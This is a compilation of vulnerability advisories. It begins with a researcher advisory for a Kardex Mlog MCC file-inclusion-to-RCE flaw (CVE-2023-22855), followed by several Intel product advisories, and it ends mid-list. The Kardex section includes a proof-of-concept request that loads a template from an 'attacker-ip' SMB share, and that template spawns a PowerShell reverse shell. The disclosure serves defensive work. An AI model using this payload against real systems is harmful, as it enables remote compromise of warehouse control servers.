Kardex Mlog MCC version 5.7.12+0-a203c2a213-master suffers from a file inclusion vulnerability that allows for remote code execution.

Remote Code Execution in Kardex MLOG  
=======================================================================  
       Product: Kardex Mlog MCC  
         Vendor: Kardex Holding AG  
      Tested Version: 5.7.12+0-a203c2a213-master  
         Fixed Version: inline patch - no new version number  
         Vulnerability Type: Improper Control of Generation of Code ("RFI") - CWE-94  
     CVSSv2 Severity: AV:A/AC:L/Au:N/C:C/I:C/A:C - Score 8.3  
            CVSSv3 Severity: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Score 9.6  
            Solution Status: fixed  
  Manufacturer Notification: 2022-12-13  
       Solution Date: 2023-01-24  
   Public Disclosure: 2023-02-07  
       CVE Reference: CVE-2023-22855  
        Authors of Advisory: Patrick Hener & Nico Viakowski

=======================================================================

Vendor description[1]  
---------------------

Kardex Mlog’s modular software solution Kardex Control Center manages material  
flow and warehouse management processes faster and more efficiently.

 From manual block warehouse and interface networking with intelligent partner  
systems to an automated intralogistics system connected to production lines and  
driverless vehicles, intelligent energy management for the automated stacker  
cranes and modern system visualization, the Kardex Control Center modules offer  
flexible solutions for your warehouse management.

Vulnerability Details  
---------------------

The .NET based software spawns a web interface listening on port 8088.  
This interface is meant to control and monitor the material flow.

The user controllable path is handed to a path concatenation function  
(`Path.Combine`) without proper sanitization. This yields the possibility to  
include local files, as well as remote files (SMB). The path is used in a  
function called `getFile`.

The following code snippet shows the vulnerable part of this function:

```cs  
public MccHttpServerResult GetFile(string path, string acceptEncoding, string queryString = null)  
  {  
    MccHttpServerResult result4;

[... snip ...]

else  
{  
  string getfileName = (path == "/") ? "index.html" : path.Substring(1).Replace("/", Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));  
  string fileName = Path.Combine(this.RootDirectory(), getfileName);  
  string originalFileName = fileName;  
```

The .Net function `Path.Combine` also is able to concatenate remote targets. For  
example using `\\ipaddress` you can include files from a remote samba server.

Further down the request flow, the application is checking for the MIME type of  
the file retrieved.

Depending on the MIME type the content is either sent through a  
import/export procedure or rendered as `mono/t4` template. The function  
`getMimeType` will return `t4` if the included file is ending with an extension  
of `.t4`.

This is where the File Inclusion can be escalated to a Remote Code Execution.  
The `mono/t4` templating engine allows the use of `C#` to evaluate code.  
This enables an attacker to gain code execution and eventually spawn a reverse  
shell.

```cs  
bool flag15 = File.Exists(fileName);  
  if (flag15)  
    {  
    using (FileStream f = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))  
    {  
      byte[] bytes = new byte[f.Length];  
      f.Read(bytes, 0, bytes.Length);  
      bool flag16 = mime2 == "t4";  
      if (flag16)  
        {  
          return this.runTemplatingEngine(bytes, responseHeaders, queryString);  
        }  
```

Proof of Concept (PoC)  
----------------------

The following request will include a remote file from an smb share. For this to  
work the attacker has to spawn an smb server (for example using `smbserver.py`  
from Impacket[2]).

```  
GET /\\attacker-ip/share/exploit.t4 HTTP/1.1  
Host: vulnerable.host.internal:8088  
Content-Type: text/html  
User-Agent: curl/7.86.0  
Accept: */*  
Connection: close  
```

The `exploit.t4` looks like this:

```html  
<#@ template language="C#" #>  
<#@ Import Namespace="System" #>  
<#@ Import Namespace="System.Diagnostics" #>

Proof of Concept - SSTI to RCE  
RCE running ...

<#  
var proc1 = new ProcessStartInfo();  
string anyCommand;  
anyCommand = "powershell -e revshell-base64-blob";

proc1.UseShellExecute = true;  
proc1.WorkingDirectory = @"C:\Windows\System32";  
proc1.FileName = @"C:\Windows\System32\cmd.exe";  
proc1.Verb = "runas";  
proc1.Arguments = "/c "+anyCommand;  
Process.Start(proc1);  
#>

Enjoy your shell, good sir :D  
```

The exploit above will execute `cmd.exe` and launch a `powershell` to execute  
a reverse shell. You can easily generate a reverse shell blob using  
revshells.com[3].

A full exploit spawning a reverse shell was created[4].

Solution  
--------

The user supplied data should be sanitized before using it in the `Path.Combine`  
function.

Disclosure Timeline  
-------------------

2022-12-13: Vulnerability discovered  
2022-12-13: Vulnerability reported to manufacturer  
2023-01-24: Solution provided by manufacturer  
2023-02-07: Public disclosure of vulnerability

References  
----------

[1] Vendor Website:https://www.kardex.com/en/mlog-control-center  
[2] Impacket Git Repository:https://github.com/SecureAuthCorp/impacket  
[3] Reverse Shell Generator:https://www.revshells.com/  
[4] Exploit on Exploit-DB (tbd):https://www.exploit-db.com/exploits/xxxxx    
[5] Blog Post Advisory:https://hesec.de/posts/cve-2023-22855     
[6] Personal Github Repo for Advisory:https://github.com/patrickhener/CVE-2023-22855     
[7] Blog Post Thinking Objects:https://to.com/blog/advisory-kardex-mlog-CVE-2023-22855   

Credits  
-------

This security vulnerability was found by Patrick Hener and Nico Viakowski.

E-Mail:patrickhener@posteo.de  
E-Mail:n.viakowski@pm.me  

Disclaimer  
----------

The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible.

Copyright  
---------

Creative Commons - Attribution (by) - Version 3.0  
URL:http://creativecommons.org/licenses/by/3.0/deed.en

Kardex Mlog MCC 5.7.12+0-a203c2a213-master File Inclusion / Remote Code Execution

Incorrect default permissions in some memory controller configurations for some Intel(R) Xeon(R) Processors when using Intel(R) Software Guard Extensions which may allow a privileged user to potentially enable escalation of privilege via local access.

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**2023.1 IPU - Intel® Xeon® Processor Advisory**

**Summary: **

A potential security vulnerability in some Intel® Xeon® Processors with Intel® Software Guard Extensions (SGX) may allow escalation of privilege.  Intel is releasing firmware updates to mitigate this potential vulnerability.  
 

**Vulnerability Details:**

CVEID: CVE-2022-33196

Description: Incorrect default permissions in some memory controller configurations for some Intel(R) Xeon(R) Processors when using Intel(R) Software Guard Extensions which may allow a privileged user to potentially enable escalation of privilege via local access. 

CVSS Base Score:  7.2 High

CVSS Vector:  CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N  
 

**Affected Products:**

**Product Collection**

**Vertical Segment**

**CPU ID**

**Platform ID**

3rd Gen Intel® Xeon® Scalable Processor family

Server

606A6

0x87

Intel® Xeon® D Processors

Server

606C1

01

**Recommendations:  
**

Intel is releasing BIOS and microcode updates for the affected processors.

For the mitigation to be effective for Intel® SGX enabled systems, Intel recommends updating the microcode patch located in platform flash designated by firmware interface table (FIT) entry type1.

Details on the microcode loading points can be found at:

https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/secure-coding/loading-microcode-os.html

When the microcode update is applied via the FIT table the BIOS must also be updated.  If the BIOS is not updated to the latest version with the microcode update when Intel® SGX is enabled, the system will hang. Loading this microcode update via the operating system is acceptable but will not provide the mitigation for this Intel® SGX issue.

For non Intel® (SGX) systems the microcode patch can be OS loaded.

Intel has released microcode updates for the affected Intel® Processors that are currently supported on the public github repository. Please see details below on access to the microcode: 

GitHub\*: Public Github: https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files

This CVE requires a Microcode Security Version Number (SVN) update. To address this vulnerability, a SGX TCB recovery is planned, refer here for more information on the SGX TCB recovery process.

**Acknowledgements:**

This issue was found internally by Intel employees in collaboration with external researchers from Google.

Intel would like to thank Cfir Cohen, Erdem Aktas, Felix Wilhelm, James Forshaw and Josh Eads from Google.

Intel would like to thank Nagaraju Kodalapura Nagabhushana Rao, Przemyslaw Duda, Liron Shacham and Ron Anderson from Intel.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/14/2023

Initial Release

1.1

02/15/2023

Updated Recommendations

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  

Copyright © Intel Corporation 2022

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CVE-2022-33196: INTEL-SA-00738

Improper access control in the Intel(R) OFU software before version 14.1.28 may allow an authenticated user to potentially enable denial of service via local access.

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**Intel® OFU Software Advisory**

**Summary: **

A potential security vulnerability in the Intel® One Boot Flash Utility (OFU) software may allow denial of service.  Intel is releasing software updates to mitigate this potential vulnerability.  
 

**Vulnerability Details:**

CVE-2021-33104

Description: Improper access control in the Intel(R) OFU software before version 14.1.28 may allow an authenticated user to potentially enable denial of service via local access.

CVSS Base Score: 6.5 Medium

**Affected Products:**

Intel® OFU software before version 14.1.28.  
 

**Recommendations:**

Intel recommends updating Intel® OFU software to version 14.1.28 or later.

Updates are available for download at this location:

https://www.intel.com/content/www/us/en/download/19032/intel-one-boot-flash-update-intel-ofu-utility-for-intel-server-boards-and-intel-server-systems-based-on-intel-62x-chipset.html  
 

**Acknowledgements:**

Intel would like to thank Rajat Gupta, security researcher at SecLab, UC Santa Barbara, USA for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/14/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

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CVE-2021-33104: INTEL-SA-00769

Server-side request forgery in the CVAT software maintained by Intel(R) before version 2.0.1 may allow an authenticated user to potentially enable information disclosure via network access.

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**Computer Vision Annotation Tool Advisory**

**Summary: **

A potential security vulnerability in the Computer Vision Annotation Tool (CVAT) software maintained by Intel® may allow information disclosure. Intel is releasing software updates to mitigate this potential vulnerability.  
 

**Vulnerability Details:**

CVEID: CVE-2022-27234

Description: Server-side request forgery in the CVAT software maintained by Intel(R) before version 2.0.1 may allow an authenticated user to potentially enable information disclosure via network access.

CVSS Base Score: 4.3 Medium

**Affected Products:**

CVAT software maintained by Intel® before version 2.0.1.  
 

**Recommendations:**

Intel recommends updating CVAT software maintained by Intel® to version 2.0.1 or later.

Updates are available for download at this location: https://github.com/openvinotoolkit/cvat  
 

**Acknowledgements:**

This issue was found internally by Intel.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

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Description

1.0

02/14/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  

Copyright © Intel Corporation 2022

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CVE-2022-27234: INTEL-SA-00762

Insufficient control flow management in some Intel(R) Ethernet Controller Administrative Tools drivers for Windows before version 1.5.0.2 may allow an authenticated user to potentially enable escalation of privilege via local access.

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**Intel® Ethernet Controller Administrative Tools Drivers Advisory**

**Summary: **

A potential security vulnerability in some Intel® Ethernet Controller Administrative Tools drivers for Windows may allow escalation of privilege. Intel is releasing software updates to mitigate this potential vulnerability.  
 

**Vulnerability Details:**

CVEID: CVE-2022-27808

Description: Insufficient control flow management in some Intel(R) Ethernet Controller Administrative Tools drivers for Windows before version 1.5.0.2 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.3 Medium

**Affected Products:**

Intel® Ethernet Controller Administrative Tools drivers for Windows before version 1.5.0.2.  
 

**Recommendations:**

Intel recommends updating Intel® Ethernet Controller Administrative Tools drivers for Windows to version 1.5.0.2 or later, which is included for download in the Intel® Administrative Tools for Intel® Network Adapters version 27.6 or later.

Updates are available for download at these locations:

*   Intel® Administrative Tools for Intel® Network Adapters:  
    https://www.intel.sg/content/www/xa/en/download/2593/administrative-tools-for-intel-network-adapters.html.
*   Intel® Ethernet Adapter Complete Driver Pack:  
    https://www.intel.com/content/www/us/en/download/15084/739627/intel-ethernet-adapter-complete-driver-pack.html  
     

**Acknowledgements:**

The issue was found externally.  Intel would like to thank Aobo Wang of Chaitin Security Research Lab (CVE-2022-27808) for reporting the issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/14/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  

Copyright © Intel Corporation 2022

**Report a Vulnerability**

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A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

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CVE-2022-27808: INTEL-SA-00761

Incorrect calculation in microcode keying mechanism for some 3rd Generation Intel(R) Xeon(R) Scalable Processors may allow a privileged user to potentially enable information disclosure via local access.

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**3rd Generation Intel® Xeon® Scalable Processors Advisory**

**Summary: **

A potential security vulnerability in some 3rd Generation Intel® Xeon® Scalable Processors may allow information disclosure.  Intel is releasing firmware updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2022-33972

Description: Incorrect calculation in microcode keying mechanism for some 3rd Generation Intel(R) Xeon(R) Scalable Processors may allow a privileged user to potentially enable information disclosure via local access.

CVSS Base Score: 6.1 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N

**Affected Products:**

**Product Collection**

**Vertical Segment**

**CPU ID**

**Platform ID**

3rd Gen Intel® Xeon® Scalable processor family

Server

606A6

0x87

**Recommendations:  
**

Intel recommends that users of affected 3rd Generation Intel® Xeon® Scalable Processors update to the latest version of firmware provided by the system manufacturer that addresses these issues. 

Intel has released microcode updates for the affected Intel® Processors that are currently supported on the public github repository. Please see details below on access to the microcode: 

GitHub\*: Public Github: https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files

Details on the microcode loading points can be found at:

https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/secure-coding/loading-microcode-os.html

This CVE requires a Microcode Security Version Number (SVN) update. To address this vulnerability, a SGX TCB recovery is planned, refer here for more information on the SGX TCB recovery process.  

**Acknowledgements:**

Intel would like to thank Microsoft for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/14/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  

Copyright © Intel Corporation 2022

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CVE-2022-33972: INTEL-SA-00730

Improper access control in the Crypto API Toolkit for Intel(R) SGX before version 2.0 commit ID 91ee496 may allow an authenticated user to potentially enable escalation of privilege via local access.

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**Crypto API Toolkit for Intel® SGX Advisory**

**Summary: **

A potential security vulnerability in the Crypto API Toolkit for Intel® SGX (Software Guard Extensions) may allow escalation of privilege.  Intel is releasing toolkit updates to mitigate these potential vulnerabilities.  
 

**Vulnerability Details:**

CVEID: CVE-2022-21163

Description: Improper access control in the Crypto API Toolkit for Intel(R) SGX before version 2.0 commit ID 91ee496 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 8.4 High

**Affected Products:**

Crypto API Toolkit for Intel® SGX before version 2.0 commit ID 91ee496.  
 

**Recommendations:**

Intel recommends updating Crypto API Toolkit for Intel® SGX to version 2.0 commit ID 91ee496 or later.

Updates are available for download at this location:

https://github.com/intel/crypto-api-toolkit  
 

**Acknowledgements:**

Intel would like to thank Sankaranarayanan Venkatasubramanian for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/14/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  

Copyright © Intel Corporation 2022

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CVE-2022-21163: INTEL-SA-00746

Out of bounds read in firmware for OpenBMC in some Intel(R) platforms before version 0.72 may allow unauthenticated user to potentially enable denial of service via network access.

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**Integrated BMC and OpenBMC Firmware Advisory**

Intel ID:

INTEL-SA-00737

Advisory Category:

Firmware

Impact of vulnerability:

Escalation of Privilege, Denial of Service

Severity rating:

CRITICAL

Original release:

02/14/2023

Last revised:

02/14/2023

**Summary:**

Potential security vulnerabilities in the Integrated Baseboard Management Controller (BMC) and OpenBMC firmware in some Intel® platforms may allow escalation of privilege or denial of service.  Intel is releasing firmware updates to mitigate these potential vulnerabilities.

**Vulnerability Details:**

CVEID: CVE-2021-39296 (Non-Intel issued)

Description: Issue affecting netipmid (IPMI lan+) interface. An attacker might craft IPMI messages to gain root access to the BMC bypassing authentication.

CVSS Base Score: 10.0 Critical

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2022-35729

Description: Out of bounds read in firmware for OpenBMC in some Intel(R) platforms before version 0.72 may allow unauthenticated user to potentially enable denial of service via network access.

CVSS Base Score: 7.5 High

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVEID: CVE-2022-29494

Description: Improper input validation in firmware for OpenBMC in some Intel(R) platforms before versions egs-0.91-179 and bhs-04-45 may allow an authenticated user to potentially enable denial of service via network access.  

CVSS Base Score: 6.5 Medium

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVEID: CVE-2021-39295 (Non-Intel issued)

Description: Issue affecting netipmid (IPMI lan+) interface. An attacker might craft IPMI messages to cause denial of service to the BMC.

CVSS Base Score: 6.1 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L

CVEID: CVE-2022-29493

Description: Uncaught exception in webserver for the Integrated BMC in some Intel(R) platforms before versions 2.86, 2.09 and 2.78 may allow a privileged user to potentially enable denial of service via network access.

CVSS Base Score: 4.5 Medium

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H  
 

**Affected Products:**

Integrated BMC firmware before versions 2.86, 2.09 and 2.78 in some Intel® platforms.

OpenBMC firmware before versions 0.72, wht-1.01-61, egs-0.91-179 in some Intel® platforms.  
 

**Recommendations:**

Intel recommends updating Integrated BMC firmware to versions 2.86, 2.09 and 2.78 or later.

Intel recommends updating OpenBMC firmware to versions 0.72, wht-1.01-61, egs-0.91-179 or later.

**Chipset/SOC or Processor**

**Mitigated Version or higher**

**Mitigation URL**

Intel® C620 series chipset

2nd Gen Intel® Xeon® Scalable processor

Intel® Xeon® W processor 3200 series

1st Gen Intel® Xeon® Scalable processor

Intel® Xeon® W processor 3100 series

BMC

V2.86

BMC (Commercial)

Intel® C250 series chipset

Intel® Xeon® E processor

BMC v2.09

Intel recommends that users update to the latest version provided by the system manufacturer that addresses these issues.

Intel® C620A series chipset

3rd Gen Intel® Xeon® Scalable processor

BMC v2.81

OpenBMC

wht-1.01-61

0.72

BMC v2.81 (Commercial)

OpenBMC 1.01.75

Intel recommends that users update to the latest version provided by the system manufacturer that addresses these issues.

Intel® C740 series chipset

OpenBMC

egs-0.91-179

Intel recommends that users update to the latest version provided by the system manufacturer that addresses these issues.

**Acknowledgements:**

The following issues were found internally by Intel, CVE-2022-29493, CVE-2022-29494, CVE-2022-35729. Intel would like to thank Ignacio Hernandez, Tomasz Bagniuk, Witold Kryszak, Piotr Dorozynski.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/14/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  

Copyright © Intel Corporation 2022

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

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A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

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CVE-2022-35729: INTEL-SA-00737

Improper buffer restrictions in the Intel(R) Media SDK software before version 22.2.2 may allow an authenticated user to potentially enable escalation of privilege via local access.

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**Intel® Media SDK Advisory**

Intel ID:

INTEL-SA-00731

Advisory Category:

Software

Impact of vulnerability:

Escalation of Privilege, Denial of Service

Severity rating:

MEDIUM

Original release:

02/14/2023

Last revised:

02/14/2023

**Summary: **

Potential security vulnerabilities in the Intel® Media Software Development Kit (SDK) may allow denial of service or enable escalation of privilege. Intel is releasing software updates to mitigate these potential vulnerabilities.  
 

**Vulnerability Details:**

CVEID: CVE-2022-34841

Description: Improper buffer restrictions in the Intel(R) Media SDK software before version 22.2.2 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 5.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

CVEID: CVE-2022-27170

Description: Protection mechanism failure in the Intel(R) Media SDK software before version 22.2.2 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 5.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

CVEID: CVE-2022-34346

Description: Out-of-bounds read in the Intel(R) Media SDK software before version 22.2.2 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 4.8 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

CVEID: CVE-2022-36289

Description: Protection mechanism failure in the Intel(R) Media SDK software before version 22.2.2 may allow an authenticated user to potentially enable denial of service via local access.

CVSS Base Score: 2.8 Low

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L

CVEID: CVE-2022-35883

Description: NULL pointer dereference in the Intel(R) Media SDK software before version 22.2.2 may allow an authenticated user to potentially enable denial of service via local access.

CVSS Base Score: 2.2 Low

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:L  
 

**Affected Products:**

Intel® Media SDK software before version 22.2.2.  
 

**Recommendation:**

Intel recommends updating the Intel® Media SDK software to version 22.2.2 or later.

Updates are available for download at this location:

https://github.com/Intel-Media-SDK/MediaSDK/releases  
 

**Acknowledgements:**

These issues were found externally.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/14/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  

Copyright © Intel Corporation 2022

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CVE-2022-34841: INTEL-SA-00731

Improper access control in the Intel(R) SUR software before version 2.4.8902 may allow an authenticated user to potentially enable escalation of privilege via local access.

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**Intel® SUR Advisory**

**Summary:**

Potential security vulnerabilities in the Intel® System Usage Report (SUR) software may allow escalation of privilege or denial of service. Intel is releasing software updates to mitigate these potential vulnerabilities.  
 

**Vulnerability Details:**

CVEID: CVE-2022-29514

Description: Improper access control in the Intel(R) SUR software before version 2.4.8902 may allow an unauthenticated user to potentially enable escalation of privilege via network access.

CVSS Base Score: 7.7 High

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H

CVEID: CVE-2022-33964

Description: Improper input validation in the Intel(R) SUR software before version 2.4.8902 may allow an unauthenticated user to potentially enable escalation of privilege via network access.

CVSS Base Score: 7.4 High

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

CVEID: CVE-2022-33190

Description: Improper input validation in the Intel(R) SUR software before version 2.4.8902 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.1 High

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CVEID: CVE-2022-34854

Description: Improper access control in the Intel(R) SUR software before version 2.4.8902 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

CVEID: CVE-2022-30692

Description: Improper conditions check in the Intel(R) SUR software before version 2.4.8902 may allow an unauthenticated user to potentially enable denial of service via network access.

CVSS Base Score: 5.9 Medium

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVEID: CVE-2022-33946

Description: Improper authentication in the Intel(R) SUR software before version 2.4.8902 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 5.6 Medium

CVSS Vector: CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:L

CVEID: CVE-2022-31476

Description: Improper access control in the Intel(R) SUR software before version 2.4.8902 may allow an authenticated user to potentially enable denial of service via local access.

CVSS Base Score: 5.5 Medium

